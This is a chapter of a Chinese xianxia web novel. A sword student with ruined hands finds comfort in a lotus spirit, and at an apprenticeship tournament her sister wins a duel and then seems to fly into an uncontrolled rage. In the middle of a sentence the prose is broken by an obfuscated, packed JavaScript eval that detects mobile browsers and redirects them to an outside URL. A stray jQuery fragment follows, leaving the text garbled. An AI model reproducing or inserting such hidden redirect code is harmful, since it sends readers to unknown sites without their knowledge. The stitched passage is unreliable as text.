祝琪旋终究还是强用着那双手,握上了长剑。
双手被厚厚的布条层层缠裹,堪堪掩去枯瘦,勉强恢复成常人手掌的厚度,可内里肌肉早已耗损殆尽,挥剑时全凭手腕翻转与五指攥力支撑。
阵阵时隐时现的剧痛钻心蚀骨,让她的练剑时长大幅缩短,偏她心底焦灼如焚,只得歇片刻便强撑着起身再练,昼夜颠倒,浑然不觉晨昏更替。
“我劝你放弃。”连江墨都这么说:“你这样除了伤害自己,没有任何意义。”
秋风卷着寒意掠过,祝琪旋收剑走到门前,摸向腰间才惊觉门锁钥匙早已遗失。
屋内漆黑一片,毫无灯火,祝香携还未归来。
她想折返寻路,可浑身力气早已在方才断断续续的练剑中耗竭,连去往后山找寻祝香携的心劲都没有了。
祝琪旋踉跄着挪到蓬莱东侧的池边,这里抬眼便能望见她们同住的居室。
晚风愈发刺骨,刮得人肌肤生疼,她缓缓蹲下身子,紧绷了许久的弦骤然断裂,情绪彻底崩溃,伏在池边,压抑多日的委屈与痛苦尽数倾泻,失声痛哭起来。
忽然有人轻轻拍了拍她的肩膀。
祝琪旋吓得连忙抹眼泪,手上动作一大又痛的面目狰狞:“……谁?”
滑溜溜的触感顺着胳膊蜿蜒而上,祝琪旋心头一揪,恍惚间忆起那只陪自己长大的小蛇,心下怅惘,她猛地睁眼,才发现缠上来的是莹润的绿茎。
忙抬眼望去,惊喜不已。
巨大的莲花正垂首对着她,花瓣上的水珠簌簌滴落,砸在她肩头脸颊,竟像是在为她垂泪。祝琪旋眼眶一热,语无伦次:“原来这些天你一直在这儿!”
回应她的是莲花缓缓舒展出柔软的触手,轻轻环住她。
祝琪旋顺着力道慢慢坐下,被它稳稳托着往池子中央飘去,莲身微微晃荡,将她裹在中央,好像是把她当成了摇篮里娇软的婴孩,哄她睡觉。
祝琪旋鞋底贴到水面,池水荡漾,她安心的躺在莲花窝里:“谁把你放在这里的,江厉吗?”
莲花摇摇头,不满的抽了一下水面,池水淅淅沥沥撒了她一身,祝琪旋笑起来:“你不是江厉养的吗,这么讨厌他?”
说罢,话锋一转:“不过我也讨厌他,我看他第一眼就讨厌他。”
莲花围着他绕了一圈,粗大的根茎把她包裹在内,与世隔绝。
风停了,安静了。
莲花轻轻托起她的手,祝琪旋信任的把手递给她,嘴里不忘和它亲诉心事:“虽然你不会说话,也没有人形,但我觉得你比他们都可靠多了。”
莲花一点一点拆她手上的布带,祝琪旋继续说:“你说,是不是妖怪和人从心里就不一样,自从上了蓬莱,只有那晚上和你在一起玩的时候觉得心安,因为我们才是同类吗?”
伤口完全暴露,仅剩的一层红肉和包裹着筋骨,最外层罩着一层保护法阵,让她不至于无法使用双手,但疼痛不减。
莲花又拨开了她的袖子。
黑色的镇鬼法图像烧伤的疤痕一样烙在身上,祝琪旋都快忘记它了。
“这个伤已经很久了……”
祝琪旋感觉自己被它搂的更紧了,有那么一瞬间,她觉得莲花可能不想放她走了。心乱如麻,祝琪旋问道:“你到底是谁?”
莲花不说话,把她缠的密不透风,祝琪旋一点也不害怕,躺在里面没一会儿就开始犯困了。
“早知道就不离开毒山了。”她喃喃细语:“我到底什么时候才能长大……”
摇篮又开始摇晃,她感觉手心凉凉的,但黑暗中看不清莲花对自己做了什么,就沉沉睡去了。
梦里,她做了一个决定。
拜师大会,如期而至。
大概是江墨刻意安排,祝琪旋被排在了最后一场,作为前面几组中最强弟子的最后一战,一局定成败。
祝香携则直截了当的拦住了宫彦:“我要你和你再比一次。”
“我对手下败将没兴趣。”宫彦几乎料祝香携会来找他,热身后就一直站在那里,一副等候大驾的模样。
祝琪旋:“我一定要比。”
“也可以。”宫彦说,“输了,你就立刻离开蓬莱,敢吗?”
祝琪旋变了脸色,刚要上前却被祝香携拦下:“好。”
“别意气用事!”祝琪旋提醒她。
“我知道自己在做什么。”祝香携看向和自己九成相似的脸:“你和江易较劲我没阻拦,今天我一定要和他比这一次,你也别拦着我,好吗。”
祝琪旋深吸一口气:“别让我失望。”
祝香携第一个踏上了比试台,宫彦随后提剑跟上。托宫彦的福,蓬莱几乎所有人都认识她们两个,再加上她们是第一个上场的,台下不少人开始窃窃私语起来,等待这场结果的远不止是祝琪旋和两个当事人。
“再说一次,输了,就离开蓬莱。”宫彦举起剑。
祝香携点头。
宫彦忽然问:“万一你赢了呢?”
“这辈子别出现在我眼前。”祝香携皱眉,肌肉紧绷:“这就足够了。”
宫彦意义不明的一笑:“那我可是会出杀招的。”
话音未落,两边同时动作,剑锋挥舞快如蜂翅震动,掀起激流,祝琪旋离得最近,抬手去挡,眯着眼睛却望见三尊高台上,正和江易谈话的陌生老人。
老人身着蜀山掌门的门服,揽着余空羚的肩膀,似乎在劝说什么,江易破天荒的神色平和,不停说着什么。
祝琪旋此刻才感受到,什么叫身如飘萍,无枝可依。
“怎么样?”
江墨声音从身后传来,祝琪旋被他拉出弟子群,和他一起走到一边:“现在退出还来得及。”
祝琪旋沉默的看了他半天:“师兄你也瞧不起我吗?”
江墨愣了一下,旋即呆呆的摇头:“怎么可能。”
“我可不会当逃兵。”祝琪旋郑重的说。
“临阵脱逃确实不光彩,但知难而退有时也是明智之选。”江墨耐心和她说:“每届拜师大会,世尊都会从前几名里挑人收作弟子,这是三千弟子人人明了的事情。他们其中不乏从小修行之辈,对于半路出家修行的你来说,夺得榜首,难上加难。”
“……”
“你还是执意要比吗?”江墨看了一眼她的手:“我们可以等你的手治好了,到时候你可以做我的徒弟,你不相信师兄吗?我可以保护你不让任何人欺负你。”
不相信,所有人我都不相信。祝琪旋看着江墨的脸,那么温良无辜,突然很想质问他怎么能毫无心理负担的和自己诉说衷肠。
明知道梅云惊哪天会来,故意把自己支走,就是为了不让她看到梅世镜的脸。
明知道她站在门外,还要引导江厉说那些伤人的话给她听,就是为了让她厌恶江厉。
腐水,她问江墨要腐水的时候,他甚至都没有问她要用腐水干什么。
名为放纵,其实却一直在加固围墙,看似爱护,却处处充满算计。
师兄,你意欲何为?
江墨眼神骤然变了,或许他也从祝琪旋眼中读出了她心里所想,明白她不肯听自己的话后,江墨收起了多余的温柔,顷刻间那张脸似乎和江易重叠,冰冷刺骨:“你不信我。”
祝琪旋想要开口,江墨又肯定的重复了一遍:“你不信我。”
“你好蠢。”江墨退开半步,他变得快的让祝琪旋心寒,也心惊。
祝香携连忙握住剑柄,一时不慎,手心剧痛她又皱眉松手,警惕的看着他。江墨站在原地没动:“整个蓬莱,你最该信任的人就是我,为什么你宁愿总去追逐江易,不愿意接受我的好意。”
追逐江易?
祝琪旋不明所以,她从来没有追逐过江易,想要拜师,也是为了自己而已。
“师父……”江墨轻轻叹息。
师父,江易吗。
他像个掉队飞鸟,颓败的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17040746|192747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
站在原地,半天了居然就吐出这两个字而已。都说江墨一直不愿意拜入江易座下是为了祭奠他早亡的师父,但现在看来,他心里早就认同江易是他的师父了吧。
如此看,江墨当时把梨奴剑赠予自己,也有一丝要和过去划清界线的意思。
原来如此。
祝琪旋卸下沉重的戒备:“师兄,我只是为了变强才想要拜江易为师的,不会和你抢他心里徒弟的位置,你别担……”
江墨忽然愤恨的瞪了她一眼,祝琪旋还以为自己看错了,但江墨似乎被她惹恼了,转身走了。
“……”
高处,江易一声不吭,默默看着那两个白米粒一样的两个人你一句我一句说着什么,貌似不太愉快。
见江墨陡然转身,撇下祝琪旋径自离去,江易神色也随之凝重起来。江厉见状,先示意方天画送余空羚叔侄一程,随即迈步走到弟弟身侧,故意夸张地顺着他目光张望,挤眉弄眼道:“小墨这是有喜欢的姑娘了?”
四下静谧无旁人,江易半点没忍,扬手一拳就砸在他头顶:“能不能有个正形?有这闲工夫八卦,不如赶紧收个徒弟,天天把掌门事务全推给我们!”
江厉捂着后脑勺连连躲闪,堪堪免遭再一顿揍,急忙辩解:“我不是早定下收徒条件了?”
他理直气壮补了句,“能以江流剑法击败对手,我就收那人为徒。”
“是吗?”
方天画恰好送完人折返,这话一字不落听进耳里,当即嗤笑出声打趣,“你当我们都不知情?那江流剑法根本不对劲,分明是你私下改过的,真够过分的,亏你也做得出来!”
江易翻了个白眼:“老奸巨猾。”
江厉自知理亏:“我是真的不想收徒。”
“那你就不该为了阻止谣言而撒谎。”方天画一点不惯着他:“如果真的有人能做到,你可不能赖账。”
为了能光明正大不收徒,他早把那套江流剑法大刀阔斧改得面目全非了。
江厉自信:“不可能……”
“江流剑法!”
江厉噎了一下,蓬莱三尊两两对视,一齐朝下看去。
震天惊呼声陡然从身后席卷而来,祝琪旋旋身回望,赫然见祝香携的剑断作两截!
不仅是祝香携,实则是双剑俱毁,千百次金铁交鸣的硬碰后,这一击二人皆倾尽气力,两柄铁剑相触的瞬间爆发出刺耳铮鸣,随即同时寸裂,断碴飞溅,凌厉无比。
周遭弟子的欢呼震彻当场。
人人都为祝香携方才施展出的江流剑法惊撼不已。
那套众人苦修许久都难打出的剑法,她不仅炉火纯青,竟全程以江流剑法硬撼宫彦,引的台下热血沸腾。
祝香携剑招极简却势大力沉,移步腾挪疾如惊雷,长剑翻飞快得只剩一道寒影,眼花缭乱间尽是凌厉杀招。
骇人的速度里,宫彦身为符修,连掐诀布阵法的空隙都没有。
原本胜负本就濒临分晓,谁料双剑骤然齐齐崩断,刹那间,满场欢呼戛然而止,所有弟子尽皆目瞪口呆,连大气都不敢喘。
宫彦扶着胸口剧烈喘息,将只剩半截的断剑狠狠掷在地上。
未及开口,祝香携身形一晃。
“邦!”
一记重拳猝然落下,直接将宫彦掀翻在地。
台下惊呼声响彻全场,祝琪旋却脸色发白——不对劲。
祝香携看似和平常无异,但熟悉她的祝琪旋却能轻易看出,她的状态已然失控,整个人都被极端的愤怒裹挟,周身戾气翻涌。
场中弥漫开诡异凝滞的气息,祝琪旋满心焦灼,鼻尖猛地钻入一股浓烈的梨花味,寻味望去,那香气竟清清楚楚来自祝香携身上。
她忽然想起,那时候通过结合窥探到有关祝香携儿时记忆的一角。
真身残缺导致的暴怒症状。
真身残缺,暴怒?
难道祝香携并未被治愈吗?祝琪旋顿感大事不妙。